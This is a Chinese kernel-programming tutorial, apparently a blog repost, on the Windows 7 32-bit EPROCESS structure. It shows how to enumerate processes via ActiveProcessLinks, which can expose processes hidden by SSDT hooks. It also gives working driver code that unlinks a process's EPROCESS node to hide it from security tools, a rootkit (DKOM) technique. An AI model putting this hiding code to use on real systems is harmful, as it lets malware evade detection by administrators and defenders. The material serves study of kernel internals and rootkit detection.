zoukankan      html  css  js  c++  java
  • 遍历进程活动链表(ActiveProcessLinks)、DKOM隐藏进程

    1.EPROCESS结构体

    EPROCESS块来表示。EPROCESS块中不仅包含了进程相关了很多信息,还有很多指向其他相关结构数据结构的指针。例如每一个进程里面都至少有一个ETHREAD块表示的线程。进程的名字,和在用户空间的PEB(进程环境)块等等。EPROCESS中除了PEB成员块在是用户空间,其他都是在系统空间中的。

    2.查看EPROCESS结构

    kd> dt_eprocess
    ntdll!_EPROCESS
       +0×000 Pcb              : _KPROCESS
       +0×098 ProcessLock      : _EX_PUSH_LOCK
       +0x0a0 CreateTime       : _LARGE_INTEGER                          //创建时间
       +0x0a8 ExitTime         : _LARGE_INTEGER                             //退出时间
       +0x0b0 RundownProtect   : _EX_RUNDOWN_REF
       +0x0b4 UniqueProcessId  : Ptr32 Void                                        //进程的pid
       +0x0b8 ActiveProcessLinks : _LIST_ENTRY                            //活动进程链表
       +0x0c0 ProcessQuotaUsage : [2] Uint4B
       +0x0c8 ProcessQuotaPeak : [2] Uint4B
       +0x0d0 CommitCharge     : Uint4B
       +0x0d4 QuotaBlock       : Ptr32 _EPROCESS_QUOTA_BLOCK
       +0x0d8 CpuQuotaBlock    : Ptr32 _PS_CPU_QUOTA_BLOCK
       +0x0dc PeakVirtualSize  : Uint4B
       +0x0e0 VirtualSize      : Uint4B
       +0x0e4 SessionProcessLinks : _LIST_ENTRY
       +0x0ec DebugPort        : Ptr32 Void
       +0x0f0 ExceptionPortData : Ptr32 Void
       +0x0f0 ExceptionPortValue : Uint4B
       +0x0f0 ExceptionPortState : Pos 0, 3 Bits
       +0x0f4 ObjectTable      : Ptr32 _HANDLE_TABLE                       //指向句柄表的指针
       +0x0f8 Token            : _EX_FAST_REF
       +0x0fc WorkingSetPage   : Uint4B
       +0×100 AddressCreationLock : _EX_PUSH_LOCK
       +0×104 RotateInProgress : Ptr32 _ETHREAD
       +0×108 ForkInProgress   : Ptr32 _ETHREAD
       +0x10c HardwareTrigger  : Uint4B
       +0×110 PhysicalVadRoot  : Ptr32 _MM_AVL_TABLE
       +0×114 CloneRoot        : Ptr32 Void
       +0×118 NumberOfPrivatePages : Uint4B
       +0x11c NumberOfLockedPages : Uint4B
       +0×120 Win32Process     : Ptr32 Void
       +0×124 Job              : Ptr32 _EJOB
       +0×128 SectionObject    : Ptr32 Void
       +0x12c SectionBaseAddress : Ptr32 Void
       +0×130 Cookie           : Uint4B
       +0×134 Spare8           : Uint4B
       +0×138 WorkingSetWatch  : Ptr32 _PAGEFAULT_HISTORY
       +0x13c Win32WindowStation : Ptr32 Void
       +0×140 InheritedFromUniqueProcessId : Ptr32 Void
       +0×144 LdtInformation   : Ptr32 Void
       +0×148 VdmObjects       : Ptr32 Void
       +0x14c ConsoleHostProcess : Uint4B
       +0×150 DeviceMap        : Ptr32 Void
       +0×154 EtwDataSource    : Ptr32 Void
       +0×158 FreeTebHint      : Ptr32 Void
       +0×160 PageDirectoryPte : _HARDWARE_PTE_X86
       +0×160 Filler           : Uint8B
       +0×168 Session          : Ptr32 Void
       +0x16c ImageFileName    : [15] UChar                               //进程名称
       +0x17b PriorityClass    : UChar
       +0x17c JobLinks         : _LIST_ENTRY
       +0×184 LockedPagesList  : Ptr32 Void
       +0×188 ThreadListHead   : _LIST_ENTRY                      //进程里的线程链表
       +0×190 SecurityPort     : Ptr32 Void
       +0×194 PaeTop           : Ptr32 Void
       +0×198 ActiveThreads    : Uint4B
       +0x19c ImagePathHash    : Uint4B
       +0x1a0 DefaultHardErrorProcessing : Uint4B
       +0x1a4 LastThreadExitStatus : Int4B
       +0x1a8 Peb              : Ptr32 _PEB                        //指向PEB的指针
       +0x1ac PrefetchTrace    : _EX_FAST_REF
       +0x1b0 ReadOperationCount : _LARGE_INTEGER
       +0x1b8 WriteOperationCount : _LARGE_INTEGER
       +0x1c0 OtherOperationCount : _LARGE_INTEGER
       +0x1c8 ReadTransferCount : _LARGE_INTEGER
       +0x1d0 WriteTransferCount : _LARGE_INTEGER
       +0x1d8 OtherTransferCount : _LARGE_INTEGER
       +0x1e0 CommitChargeLimit : Uint4B
       +0x1e4 CommitChargePeak : Uint4B
       +0x1e8 AweInfo          : Ptr32 Void
       +0x1ec SeAuditProcessCreationInfo : _SE_AUDIT_PROCESS_CREATION_INFO
       +0x1f0 Vm               : _MMSUPPORT
       +0x25c MmProcessLinks   : _LIST_ENTRY
       +0×264 HighestUserAddress : Ptr32 Void
       +0×268 ModifiedPageCount : Uint4B
       +0x26c Flags2           : Uint4B
       +0x26c JobNotReallyActive : Pos 0, 1 Bit
       +0x26c AccountingFolded : Pos 1, 1 Bit
       +0x26c NewProcessReported : Pos 2, 1 Bit
       +0x26c ExitProcessReported : Pos 3, 1 Bit
       +0x26c ReportCommitChanges : Pos 4, 1 Bit
       +0x26c LastReportMemory : Pos 5, 1 Bit
       +0x26c ReportPhysicalPageChanges : Pos 6, 1 Bit
       +0x26c HandleTableRundown : Pos 7, 1 Bit
       +0x26c NeedsHandleRundown : Pos 8, 1 Bit
       +0x26c RefTraceEnabled  : Pos 9, 1 Bit
       +0x26c NumaAware        : Pos 10, 1 Bit
       +0x26c ProtectedProcess : Pos 11, 1 Bit
       +0x26c DefaultPagePriority : Pos 12, 3 Bits
       +0x26c PrimaryTokenFrozen : Pos 15, 1 Bit
       +0x26c ProcessVerifierTarget : Pos 16, 1 Bit
       +0x26c StackRandomizationDisabled : Pos 17, 1 Bit
       +0x26c AffinityPermanent : Pos 18, 1 Bit
       +0x26c AffinityUpdateEnable : Pos 19, 1 Bit
       +0x26c PropagateNode    : Pos 20, 1 Bit
       +0x26c ExplicitAffinity : Pos 21, 1 Bit
       +0×270 Flags            : Uint4B
       +0×270 CreateReported   : Pos 0, 1 Bit
       +0×270 NoDebugInherit   : Pos 1, 1 Bit
       +0×270 ProcessExiting   : Pos 2, 1 Bit
       +0×270 ProcessDelete    : Pos 3, 1 Bit
       +0×270 Wow64SplitPages  : Pos 4, 1 Bit
       +0×270 VmDeleted        : Pos 5, 1 Bit
       +0×270 OutswapEnabled   : Pos 6, 1 Bit
       +0×270 Outswapped       : Pos 7, 1 Bit
       +0×270 ForkFailed       : Pos 8, 1 Bit
       +0×270 Wow64VaSpace4Gb  : Pos 9, 1 Bit
       +0×270 AddressSpaceInitialized : Pos 10, 2 Bits
       +0×270 SetTimerResolution : Pos 12, 1 Bit
       +0×270 BreakOnTermination : Pos 13, 1 Bit
       +0×270 DeprioritizeViews : Pos 14, 1 Bit
       +0×270 WriteWatch       : Pos 15, 1 Bit
       +0×270 ProcessInSession : Pos 16, 1 Bit
       +0×270 OverrideAddressSpace : Pos 17, 1 Bit
       +0×270 HasAddressSpace  : Pos 18, 1 Bit
       +0×270 LaunchPrefetched : Pos 19, 1 Bit
       +0×270 InjectInpageErrors : Pos 20, 1 Bit
       +0×270 VmTopDown        : Pos 21, 1 Bit
       +0×270 ImageNotifyDone  : Pos 22, 1 Bit
       +0×270 PdeUpdateNeeded  : Pos 23, 1 Bit
       +0×270 VdmAllowed       : Pos 24, 1 Bit
       +0×270 CrossSessionCreate : Pos 25, 1 Bit
       +0×270 ProcessInserted  : Pos 26, 1 Bit
       +0×270 DefaultIoPriority : Pos 27, 3 Bits
       +0×270 ProcessSelfDelete : Pos 30, 1 Bit
       +0×270 SetTimerResolutionLink : Pos 31, 1 Bit
       +0×274 ExitStatus       : Int4B
       +0×278 VadRoot          : _MM_AVL_TABLE
       +0×298 AlpcContext      : _ALPC_PROCESS_CONTEXT
       +0x2a8 TimerResolutionLink : _LIST_ENTRY
       +0x2b0 RequestedTimerResolution : Uint4B
       +0x2b4 ActiveThreadsHighWatermark : Uint4B
       +0x2b8 SmallestTimerResolution : Uint4B
       +0x2bc TimerResolutionStackRecord : Ptr32 _PO_DIAG_STACK_RECORD

    3.什么是进程活动链表?

    EPROCESS块中有一个ActiveProcessLinks成员,它是一个PLIST_ENTRY结构的双向链表。当一个新进程建立的时候父进程负责完成EPROCESS块,然后把ActiveProcessLinks链接到一个全局内核变量PsActiveProcessHead链表中。

    在PspCreateProcess内核API中能清晰的找到:

    InsertTailList(&PsActiveProcessHead,&Process->ActiveProcessLinks);

    当进程结束的时候,该进程的EPROCESS结构当从活动进程链上摘除。(但是EPROCESS结构不一定就马上释放)。

    在PspExitProcess内核API中能清晰的找到:

    RemoveEntryList(&Process->ActiveProcessLinks);

    所以我们完全可以利用活动进程链表来对进程进行枚举。

    关于链表的使用,可以参考:Windows内核中字符串和链表的使用

    4. 进程枚举检测Hook SSDT隐藏的进程。

    我们前面在SSDT Hook实现简单的进程隐藏和保护这篇文章中讲到如果使用ssdt hook来隐藏进程。

    事实上Nactive API ZwQuerySystemInformation 对进程查询也是找到活动进程链表头,然后遍历活动进程链。最后把每一个EPROCESS中包含的基本信息返回(包括进程ID名字等)。所以用遍历活动进程链表的办法能有效的把Hook SSDT进行隐藏的进程轻而易举的查出来。但是PsActiveProcessHead并没被ntoskrnl.exe 导出来,所以我们可以利用硬编码的办法,来解决这个问题。

    在win7 32位下:

    #define PIDOFFSET 0xb4   //_EPROCESS中UniqueProcessId的偏移
    #define FLICKOFFSET 0xb8   //_EPROCESS中ActiveProcessLinks偏移
    #define IMAGEFILENAME 0x16C   //_EPROCESS中ImageFileName的偏移

    示例代码:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    //遍历ActiveProcessLinks来显示所有进程
    void ShowEPROCESS()
    {
        DWORD EProcess,FirstEProcess;
        LIST_ENTRY*     ActiveProcessLinks;
        DWORD pid,dwCount=0;
        PUCHAR pImage;
        EProcess=FirstEProcess=(DWORD)PsGetCurrentProcess();
        __try {  
            while ( EProcess!= 0)  
            {  
                dwCount++;  
                pid= *( (DWORD*)( EProcess + PIDOFFSET ) );  
                pImage= (PUCHAR)( EProcess + IMAGEFILENAME ) ;  

                DbgPrint ( "[Pid=%8d] EProcess=0x%08X %s ", pid, EProcess, pImage) ;  

                ActiveProcessLinks = (LIST_ENTRY*) ( EProcess + FLICKOFFSET ) ;  
                EProcess = (DWORD)ActiveProcessLinks->Flink - FLICKOFFSET ;    

                if ( EProcess == FirstEProcess )  
                    break ;  
            }  
            DbgPrint ( "ProcessCount = %d ", dwCount ) ;  
        }
        __except ( 1 ) {  
            DbgPrint ( "EnumProcessList exception !" ) ;  
        }
    }

    5. 删除活动进程链表节点实现进程隐藏

    由于Windows是基于线程调度的。所以如果我们把要隐藏的进程的EPROCESS块从活动进程链上摘除,就能有效的绕过基于通过活动进程链表检测进程的防御系统。因为是以线程为基本单位进行调度,所以摘除过后并不影响隐藏进程的线程调度。

    示例代码:

    根据pid在进程活动链表中找到进程的eprocess结构体

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    DWORD FindProcessInEPROCESS(int hidePid)
    {
        DWORD eproc = 0x00000000;
        int currentPid = 0;
        int startPid = 0;
        int cout = 0;
        PLIST_ENTRY pListActiveProcs;

        if(0 == hidePid)
        {
            return hidePid;
        }

        //遍历ActiveList
        eproc = (DWORD)PsGetCurrentProcess();
        startPid = *((DWORD*)(eproc+PIDOFFSET));
        currentPid = startPid;

        while(TRUE)
        {
            if(hidePid  == currentPid)
            {
                return eproc;
            }else if((cout >= 1) && (startPid == currentPid))
            {  
                //没有找到
                return 0x00000000;
            }else{
                pListActiveProcs = (LIST_ENTRY *)(eproc + FLICKOFFSET);
                eproc = (DWORD) pListActiveProcs->Flink;
                eproc = eproc - FLICKOFFSET;
                currentPid = *((int *)(eproc + PIDOFFSET));
            }
        }
    }

    把这个结构体从活动进程链表中摘去

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    void HideProcess(int hidePid)
    {
        PLIST_ENTRY pListActiveProcs = NULL;
        PLIST_ENTRY pHandleTable = NULL;
        DWORD eproc = FindProcessInEPROCESS(hidePid);// 在EPROCESS结构中找到这个进程
        DbgPrint("eproc %08X",eproc);
        pListActiveProcs = (LIST_ENTRY*)(eproc + FLICKOFFSET);
        *((DWORD*)pListActiveProcs->Blink) = (DWORD)pListActiveProcs->Flink;
        *((DWORD*)pListActiveProcs->Flink+1) = (DWORD)pListActiveProcs->Blink;
        pListActiveProcs->Flink = (LIST_ENTRY *)&(pListActiveProcs->Flink);
        pListActiveProcs->Blink = (LIST_ENTRY *)&(pListActiveProcs->Flink);
    }

    本文链接:http://www.blogfshare.com/activeprocesslinks-dkom.html

    jpg 改 rar

  • 相关阅读:
    渲染管线
    C++windows内核编程笔记day13 进程、线程与信号量
    稻盛和夫:真正的聪明人,善于把事物简单化
    学会把复杂问题简单化
    任何事物,只要抓住了规律,就等于牵住了牛鼻子
    菩萨奶奶引领我学佛
    数据库每分钟运行监控SQL
    MySQL 从库down机
    sql server 跟踪日志
    胡小林:把日常生活中碰到的事变成我们发露忏悔的机会
  • 原文地址:https://www.cnblogs.com/kuangke/p/5761634.html
Copyright © 2011-2022 走看看